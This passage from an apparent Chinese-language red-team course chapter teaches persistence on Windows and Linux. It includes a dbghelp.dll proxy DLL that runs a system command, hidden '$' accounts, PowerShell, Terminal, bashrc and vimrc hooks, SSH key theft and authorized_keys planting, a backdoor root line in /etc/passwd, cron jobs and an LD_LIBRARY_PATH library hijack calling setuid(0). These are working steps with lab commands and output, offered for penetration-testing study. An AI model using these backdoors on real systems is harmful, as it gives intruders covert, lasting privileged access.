comment(linker,"/export:SymGetSymFromName64=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymFromName64,@1269") #pragma comment(linker,"/export:SymGetSymNext=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymNext,@1272") #pragma comment(linker,"/export:SymGetSymNext64=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymNext64,@1271") #pragma comment(linker,"/export:SymGetSymPrev=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymPrev,@1274") #pragma comment(linker,"/export:SymGetSymPrev64=C:\\Windows\\SysWOW64\\dbghelp.SymGetSymPrev64,@1273") #pragma comment(linker,"/export:SymGetTypeFromName=C:\\Windows\\SysWOW64\\dbghelp.SymGetTypeFromName,@1277") #pragma comment(linker,"/export:SymGetTypeFromNameW=C:\\Windows\\SysWOW64\\dbghelp.SymGetTypeFromNameW,@1278") #pragma comment(linker,"/export:SymGetTypeInfo=C:\\Windows\\SysWOW64\\dbghelp.SymGetTypeInfo,@1279") #pragma comment(linker,"/export:SymGetTypeInfoEx=C:\\Windows\\SysWOW64\\dbghelp.SymGetTypeInfoEx,@1280") #pragma comment(linker,"/export:SymGetUnwindInfo=C:\\Windows\\SysWOW64\\dbghelp.SymGetUnwindInfo,@1281") #pragma comment(linker,"/export:SymInitialize=C:\\Windows\\SysWOW64\\dbghelp.SymInitialize,@1282") #pragma comment(linker,"/export:SymInitializeW=C:\\Windows\\SysWOW64\\dbghelp.SymInitializeW,@1283") #pragma comment(linker,"/export:SymLoadModule=C:\\Windows\\SysWOW64\\dbghelp.SymLoadModule,@1285") #pragma comment(linker,"/export:SymLoadModule64=C:\\Windows\\SysWOW64\\dbghelp.SymLoadModule64,@1284") #pragma comment(linker,"/export:SymLoadModuleEx=C:\\Windows\\SysWOW64\\dbghelp.SymLoadModuleEx,@1286") #pragma comment(linker,"/export:SymLoadModuleExW=C:\\Windows\\SysWOW64\\dbghelp.SymLoadModuleExW,@1287") #pragma comment(linker,"/export:SymMatchFileName=C:\\Windows\\SysWOW64\\dbghelp.SymMatchFileName,@1288") #pragma comment(linker,"/export:SymMatchFileNameW=C:\\Windows\\SysWOW64\\dbghelp.SymMatchFileNameW,@1289") #pragma comment(linker,"/export:SymMatchString=C:\\Windows\\SysWOW64\\dbghelp.SymMatchString,@1290") #pragma comment(linker,"/export:SymMatchStringA=C:\\Windows\\SysWOW64\\dbghelp.SymMatchStringA,@1291") #pragma comment(linker,"/export:SymMatchStringW=C:\\Windows\\SysWOW64\\dbghelp.SymMatchStringW,@1292") #pragma comment(linker,"/export:SymNext=C:\\Windows\\SysWOW64\\dbghelp.SymNext,@1293") #pragma comment(linker,"/export:SymNextW=C:\\Windows\\SysWOW64\\dbghelp.SymNextW,@1294") #pragma comment(linker,"/export:SymPrev=C:\\Windows\\SysWOW64\\dbghelp.SymPrev,@1295") #pragma comment(linker,"/export:SymPrevW=C:\\Windows\\SysWOW64\\dbghelp.SymPrevW,@1296") #pragma comment(linker,"/export:SymQueryInlineTrace=C:\\Windows\\SysWOW64\\dbghelp.SymQueryInlineTrace,@1297") #pragma comment(linker,"/export:SymRefreshModuleList=C:\\Windows\\SysWOW64\\dbghelp.SymRefreshModuleList,@1298") #pragma comment(linker,"/export:SymRegisterCallback=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterCallback,@1300") #pragma comment(linker,"/export:SymRegisterCallback64=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterCallback64,@1299") #pragma comment(linker,"/export:SymRegisterCallbackW64=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterCallbackW64,@1301") #pragma comment(linker,"/export:SymRegisterFunctionEntryCallback=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterFunctionEntryCallback,@1303") #pragma comment(linker,"/export:SymRegisterFunctionEntryCallback64=C:\\Windows\\SysWOW64\\dbghelp.SymRegisterFunctionEntryCallback64,@1302") #pragma comment(linker,"/export:SymSearch=C:\\Windows\\SysWOW64\\dbghelp.SymSearch,@1304") #pragma comment(linker,"/export:SymSearchW=C:\\Windows\\SysWOW64\\dbghelp.SymSearchW,@1305") #pragma comment(linker,"/export:SymSetContext=C:\\Windows\\SysWOW64\\dbghelp.SymSetContext,@1306") #pragma comment(linker,"/export:SymSetDiaSession=C:\\Windows\\SysWOW64\\dbghelp.SymSetDiaSession,@1124") #pragma comment(linker,"/export:SymSetExtendedOption=C:\\Windows\\SysWOW64\\dbghelp.SymSetExtendedOption,@1307") #pragma comment(linker,"/export:SymSetHomeDirectory=C:\\Windows\\SysWOW64\\dbghelp.SymSetHomeDirectory,@1308") #pragma comment(linker,"/export:SymSetHomeDirectoryW=C:\\Windows\\SysWOW64\\dbghelp.SymSetHomeDirectoryW,@1309") #pragma comment(linker,"/export:SymSetOptions=C:\\Windows\\SysWOW64\\dbghelp.SymSetOptions,@1310") #pragma comment(linker,"/export:SymSetParentWindow=C:\\Windows\\SysWOW64\\dbghelp.SymSetParentWindow,@1311") #pragma comment(linker,"/export:SymSetScopeFromAddr=C:\\Windows\\SysWOW64\\dbghelp.SymSetScopeFromAddr,@1312") #pragma comment(linker,"/export:SymSetScopeFromIndex=C:\\Windows\\SysWOW64\\dbghelp.SymSetScopeFromIndex,@1313") #pragma comment(linker,"/export:SymSetScopeFromInlineContext=C:\\Windows\\SysWOW64\\dbghelp.SymSetScopeFromInlineContext,@1314") #pragma comment(linker,"/export:SymSetSearchPath=C:\\Windows\\SysWOW64\\dbghelp.SymSetSearchPath,@1315") #pragma comment(linker,"/export:SymSetSearchPathW=C:\\Windows\\SysWOW64\\dbghelp.SymSetSearchPathW,@1316") #pragma comment(linker,"/export:symsrv=C:\\Windows\\SysWOW64\\dbghelp.symsrv,@1358") #pragma comment(linker,"/export:SymSrvDeltaName=C:\\Windows\\SysWOW64\\dbghelp.SymSrvDeltaName,@1317") #pragma comment(linker,"/export:SymSrvDeltaNameW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvDeltaNameW,@1318") #pragma comment(linker,"/export:SymSrvGetFileIndexes=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexes,@1323") #pragma comment(linker,"/export:SymSrvGetFileIndexesW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexesW,@1324") #pragma comment(linker,"/export:SymSrvGetFileIndexInfo=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexInfo,@1319") #pragma comment(linker,"/export:SymSrvGetFileIndexInfoW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexInfoW,@1320") #pragma comment(linker,"/export:SymSrvGetFileIndexString=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexString,@1321") #pragma comment(linker,"/export:SymSrvGetFileIndexStringW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetFileIndexStringW,@1322") #pragma comment(linker,"/export:SymSrvGetSupplement=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetSupplement,@1325") #pragma comment(linker,"/export:SymSrvGetSupplementW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvGetSupplementW,@1326") #pragma comment(linker,"/export:SymSrvIsStore=C:\\Windows\\SysWOW64\\dbghelp.SymSrvIsStore,@1327") #pragma comment(linker,"/export:SymSrvIsStoreW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvIsStoreW,@1328") #pragma comment(linker,"/export:SymSrvStoreFile=C:\\Windows\\SysWOW64\\dbghelp.SymSrvStoreFile,@1329") #pragma comment(linker,"/export:SymSrvStoreFileW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvStoreFileW,@1330") #pragma comment(linker,"/export:SymSrvStoreSupplement=C:\\Windows\\SysWOW64\\dbghelp.SymSrvStoreSupplement,@1331") #pragma comment(linker,"/export:SymSrvStoreSupplementW=C:\\Windows\\SysWOW64\\dbghelp.SymSrvStoreSupplementW,@1332") #pragma comment(linker,"/export:SymUnDName=C:\\Windows\\SysWOW64\\dbghelp.SymUnDName,@1334") #pragma comment(linker,"/export:SymUnDName64=C:\\Windows\\SysWOW64\\dbghelp.SymUnDName64,@1333") #pragma comment(linker,"/export:SymUnloadModule=C:\\Windows\\SysWOW64\\dbghelp.SymUnloadModule,@1336") #pragma comment(linker,"/export:SymUnloadModule64=C:\\Windows\\SysWOW64\\dbghelp.SymUnloadModule64,@1335") #pragma comment(linker,"/export:UnDecorateSymbolName=C:\\Windows\\SysWOW64\\dbghelp.UnDecorateSymbolName,@1337") #pragma comment(linker,"/export:UnDecorateSymbolNameW=C:\\Windows\\SysWOW64\\dbghelp.UnDecorateSymbolNameW,@1338") #pragma comment(linker,"/export:UnmapDebugInformation=C:\\Windows\\SysWOW64\\dbghelp.UnmapDebugInformation,@1339") #pragma comment(linker,"/export:vc7fpo=C:\\Windows\\SysWOW64\\dbghelp.vc7fpo,@1359") #pragma comment(linker,"/export:WinDbgExtensionDllInit=C:\\Windows\\SysWOW64\\dbghelp.WinDbgExtensionDllInit,@1340") /* extern "C" __declspec(dllexport) void run() { MessageBoxA(NULL, "Execution happened", "Bypass", MB_OK); } */ BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("cmd /c ping.exe 192.168.0.44"); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 不同操作系统版本得到的导出内容可能略有不同,请自行复现。 6:将编译好的 x86 版本 DLL 命名为 dbghelp.dll 丢入到 Discord 文件夹中,运行 Discord,系统命令执行立即被触发了。 基于 Windows 的其他持久化技术 主机账户 在 Windows 中,主机账户 (中国网友喜爱称为影子账户) 是一种特殊的账户,特点是以 $ 结尾。主机账户也可以享有用户账户的各种权限,甚至提升特权。而主机账户的好处在于使用 net user 命令不会显示出我们后门的主机账户。创建主机账户很简单,正如添加用户账户一样,我们甚至可以将其添加到高权限组中,或赋予 ACL。 我们可以看到,在添加后,net.exe 确实不能显示出该主机帐号。但如果我们直接检视该账户,是能看到各种详细信息的。 尽管不会被 net user 命令枚举出来,蓝队依旧有较多方法让被后门主机账户得以显现,例如检查 SAM 数据库、检查注册表、使用上一章节提到的诸如 WinPEAS、SeatBelt 等本地侦查工具等 并且,如果选择创建主机账户以实现持久化,那么目标主机需要对外开放可远程登陆的服务,例如 RDP,WinRM,SSH 等。 PowerShell 侧写 每当用户运行 PowerShell.exe 的时候,PowerShell 侧写文件会被加载。我们可以通过执行命令 $Profile | select * 来查询所有的 PowerShell 侧写,共有 4 个可能的位置: C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 C:\Users\<用户名>\Documents\WindowsPowerShell\profile.ps1 C:\Users\<用户名>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 但是,显示出来的位置并不一定有现存的 profile.ps1 文件,我们可以自己新建一个。考虑到用户 serveradm 对 Web02 具有本地管理员权限,所以我们可以来到 AllUsersAllHosts 所对应的侧写目录: 为了验证概念,我们在侧写中运行 calc.exe,然后移动到该目录下。运行一个新的 PowerShell 进程,会发现计算器弹出来了。 终端侧写 如果当前主机安装了 Windows Terminal,在版本较新的个人主机上会相对常见,我们可以修改终端的侧写文件从而实现持久化,原理类似 PowerShell 侧写。Windows Terminal 是 Windows 10 以及更新版本中替代 Command Prompt 的,并集成了多种 Shell,包括 CMD,PowerShell,Azure Shell 等。 我们定位到 C:\Users\<用户名>\AppData\Local\Packages\Microsoft.WindowsTerminal_\LocalState 中,编辑 settings.json。 我们注意一下 defaultProfile,即默认侧写的 GUID。下面,包含了各种 Shell 的配置,其中 PowerShell 作为目前默认的 Shell。我们可以插入恶意的程序作为后门,这样每次用户打开 Terminal,就会触发指向的应用程序。这里,我们还指定了以提升特权运行。 { "guid": "{与 GUID 值相同}", "name": "Proof Of Concept", "commandline": "%SystemRoot%\\System32\\calc.exe", "elevate": true }, Linux 持久化 在之前,我们主要讨论了 Windows 平台的持久化技术,但是在实战中我们也会遇到大量的 Linux 边界主机,我们同样要学会持久化技术。持久化的表现形式可以有本地后门,即可以瞬间实现提权,例如给特定文件设置 SUID。还可以是远程控制的形式,即受害主机会以规律或不规律的间隔向 C2 服务器连接。作为从外部突破的红队操作员以及渗透测试人员角度,我们需要的是后者,即能直接提供 C2 会话。 SSH id_rsa 在用户的 .ssh 文件夹中,id_rsa 是用户的私钥,默认权限是 600,即只有用户自己以及 root 权限可读。如果当前用户已经有了 SSH 密钥对,那么我们可以窃取 id_rsa,在外部通过 SSH 远程登陆。前提是目标对公网有开放 SSH 服务。 如果目标还没有生成密钥对,我们可以使用命令 ssh-keygen 生成。生成密钥的时候,可以选择设置 passphrase。因此,我们窃取得到的私钥也可能被用户设置了 passphrase,那么就是多了一层保护。对于 passphrase 的攻击我们会在后面章节提到。 web01@web01:~/.ssh$ ls -al total 8 drwx------ 2 web01 web01 4096 Jan 22 14:32 . drwxr-xr-x 17 web01 web01 4096 Mar 29 14:08 .. web01@web01:~/.ssh$ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/web01/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/web01/.ssh/id_rsa Your public key has been saved in /home/web01/.ssh/id_rsa.pub The key fingerprint is: SHA256:Rc4NmsNu+od8GzddSY9RrgZAmCOTUliEYvvesY8+kuU web01@web01 The key's randomart image is: +---[RSA 3072]----+ | *+. += .| | o + +.+* + o | | . o . o=.+ o ...| | . . o ..+o| | . S +.o| | . oo o . | | . =.+ .. o . | | + Eoo oo . | | ooooo.. | +----[SHA256]-----+ authorized_keys authorized_keys 文件也在 .ssh 文件夹中,默认不存在,我们可以手动创建。该文件中存放了一个列表的 SSH 公钥,对于存在于该文件中的公钥,持有者可以凭借公钥认证直接访问。对于攻击者来说,可以把自己的 SSH 公钥复制进该列表,从而实现持久化。 配置文件 bashrc 与 bash_profile 在用户目录下,每当一个新的 shell 实例被打开,bashrc 就会被执行。而 bash_profile 则是在用户首次登陆进系统的时候被执行。我们可以修改这两个文件以在用户登录的时候执行脚本以及设置环境变量。 dev01@dev01:~/.ssh$ echo 'touch /tmp/bashrc' >> ~/.bashrc dev01@dev01:~/.ssh$ ls -al /tmp/bashrc ls: cannot access '/tmp/bashrc': No such file or directory dev01@dev01:~/.ssh$ bash dev01@dev01:~/.ssh$ ls -al /tmp/bashrc -rw-rw-r-- 1 dev01 dev01 0 Mar 29 17:33 /tmp/bashrc passwd 与 shadow 我们可以在 /etc/passwd 文件中写入一个后门 root 账户,密码我们可以借助 openssl 生成。下文案例中的哈希对应的明文密码为 123123。 root@web01:/home/web01# openssl passwd -1 -salt dler 123123 $1$dler$C5tRZCGTq22ONPl0HmcXZ0 root@web01:/home/web01# echo 'senzee:$1$dler$C5tRZCGTq22ONPl0HmcXZ0:0:0:root:/root:/bin/bash' >> /etc/passwd root@web01:/home/web01# exit exit web01@web01:~$ su senzee Password: root@web01:/home/web01# 但是如今 /etc/passwd 已经不再存储密码哈希了,如果我们添加一个后门用户,在 /etc/passwd 中会很显眼。而对于 shadow 来说,我们可以用类似的方法生成指定密码的哈希值,来替换一高权限用户的哈希值实现密码修改目的。很显然这么做并不划算。我们完全可以用系统命令添加用户或者修改用户密码。 crontab /etc/crontab 控制着系统上的计划任务,我们可以决定一个计划任务的间隔时间、执行的操作等。 # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # 我们可以在该文件中写入一个计划任务,例如执行命令 touch /tmp/crontab,那么我们在末尾添加 * * * * * root touch /tmp/crontab,保存,等候一分钟。 root@web01:~# ls -al /tmp/crontab ls: cannot access '/tmp/crontab': No such file or directory root@web01:~# cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * root touch /tmp/crontab # root@web01:~# ls -al /tmp/crontab -rw-r--r-- 1 root root 0 Mar 29 17:48 /tmp/crontab 如果以特定用户创建计划任务,我们可以使用 crontab -e 命令来编辑。 VIM 后门 考虑到 vim 是非常常用的文本编辑工具,并且 vim 支持特定的脚本命令,我们可以为 vim 命令插入后门。在用户目录下编辑或新建 .vimrc 文件,添加 :silent !touch /tmp/vim 命令。:silent 是为了消除打开 vim 时的提示消息,一定程度上提升隐蔽性,! 后面跟着的则是 bash 命令。我们来看一下成果: web01@web01:~$ nano .vimrc web01@web01:~$ cat .vimrc :silent !touch /tmp/vim web01@web01:~$ rm /tmp/vim web01@web01:~$ vim web01@web01:~$ ls -al /tmp/vim -rw-rw-r-- 1 web01 web01 0 Mar 29 17:55 /tmp/vim 共享库劫持 虽然 Windows 与 Linux 的可执行程序的结构并不相同,但还是有一些相似之处。例如,Windows 程序会加载 DLL 文件,而 Linux 的 elf 程序会加载共享库文件。无论是 DLL 文件还是共享库文件,都可以被不同的应用复用。类似于 DLL 的搜索顺序,共享库的搜索也有着特定的顺序,顺序如下: 应用程序 RPATH 值所指定的目录 LD_LIBRARY_PATH 环境变量所指定的目录 应用程序 RUNPATH 值所指定的目录 /etc/ld.so.conf 文件中指定的目录 /lib,/lib64,/usr/lib,/usr/local/lib,/usr/local/lib64 以及其他一些可能的目录 在知道这样的顺序之后,我们可以在优先级更高的目录下放置恶意载荷,以被应用程序加载并触发代码执行或 Beacon 连接。 LD_LIBRARY_PATH 劫持 LD_LIBRARY_PATH 指定的路径优先级较高,如果我们在之前所述的 bashrc 中添加一个设置 LD_LIBRARY_PATH 环境变量的命令,那么用户在执行应用程序的时候,除了 RPATH 中指定的目录,我们所指定的路径中的共享库会被较为优先地加载。我们以较为常用的命令 /usr/bin/ping 为例,通过 ldd /usr/bin/ping 查看 ping 所加载的共享库文件,发现了一个看起来是报告错误的共享库 libgpg-error.so.0。希望取代原有的共享库文件不会影响到 ping 的功能。 我们编写一个简易的 PoC,代码如下: #include #include #include // for setuid/setgid static void hijack() __attribute__((constructor)); void hijack() { setuid(0); setgid(0); printf("HIJACKING...\n"); system("touch /tmp/hijack1"); } 接着,对其进行编译与连接: root@web01:/home/web01# gcc -Wall -fPIC -c -o hijack.o hijack.c root@web01:/home/web01# gcc -shared -o hijack.so hijack.o root@web01:/home/web01# ldd /usr/bin/ping | grep error libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007f36cfcb3000) -Wall 选项给出更具体的警告,-fPIC 选项让编译器生成位置独立代码 (PIC),-c 选项让编译器先不连接。然后,第二个 gcc 命令中的 -share 告诉 gcc 生成共享库文件。 更改 LD_LIBRARY_PATH 环境变量以测试,然后执行 ping 命令,但是我们发现报错了: root@web01:/home/web01# mv hijack.so libgpg-error.so.0 root@web01:/home/web01# export LD_LIBRARY_PATH=/home/web01 root@web01:/home/web01# ping 127.0.0.1 ping: /home/web01/libgpg-error.so.0: no version information available (required by /lib/x86_64-linux-gnu/libgcrypt.so.20) ping: symbol lookup error: /lib/x86_64-linux-gnu/libgcrypt.so.20: undefined symbol: gpgrt_lock_lock, version GPG_ERROR_1.0 从报错中看到,应用程序期望从该共享库文件中读取到特定的函数、变量等。接下来我们要做的,中心思想类似于 DLL 代理,即把原共享库的功能转发到我们恶意的共享库中,但其实我们只需要把所要寻找的变量名 (包括函数名等) 定义在代码里就行,而不需要完整复刻其类型和用法。 我们可以使用命令 readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' 导出所需变量名。readelf 以及 -s 选项可以导出所有的变量名,--wide 使得输出不被截断,之后则是对变量名进行基于关键字的筛选并打印出来。 root@web01:/home/web01# readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' gpgrt_ftruncate; gpgrt_logv; gpgrt_strdup; gpgrt_printf_unlocked; gpgrt_ftello; gpg_err_code_to_errno; ............ gpgrt_fpopen_nc; gpgrt_fopenmem_init; gpgrt_mopen; gpg_error_check_version; gpgrt_fseek; 将这些变量名添加到代码中,重新编译,并重复之前的步骤,最后执行 ping,我们发现劫持成功。 root@web01:/home/web01# mv hijack.so libgpg-error.so.0 root@web01:/home/web01# ping 127.0.0.1 ping: /home/web01/libgpg-error.so.0: no version information available (required by /lib/x86_64-linux-gnu/libgcrypt.so.20) HIJACKING... PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.197 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.100 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.097 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.099 ms ^C --- 127.0.0.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3068ms rtt min/avg/max/mdev = 0.097/0.123/0.197/0.042 ms root@web01:/home/web01# ls -al /tmp/hijack1 -rw-r--r-- 1 root root 0 Mar 29 19:12 /tmp/hijack1 第6章课后作业 练习 1:复现使用计划任务实现持久化 2:复现使用启动与登陆事件实现持久化 3:尝试使用 Logon Helper 的方法实现持久化 4:在自己的 VM 中安装一广受使用的桌面应用,例如 WPS。寻找一个可以完美劫持 (不用担心破坏原 DLL 的功能,因为所有搜索路径中都不存在该 DLL) 的 DLL,并劫持。 5:寻找一个 DLL 目标并实现 DLL 代理 6:搜索与调研,使用快捷方式实现持久化 7:搜索与调研,使用屏幕保护程序实现持久化 8:修改用户的 bashrc 以自动配置 LD_LIBRARY_PATH 环境变量 (即不需要手动设置),然后复现 Linux 的共享库劫持案例 拓展 1:寻找另一个常用程序及其可被劫持的共享库面试专题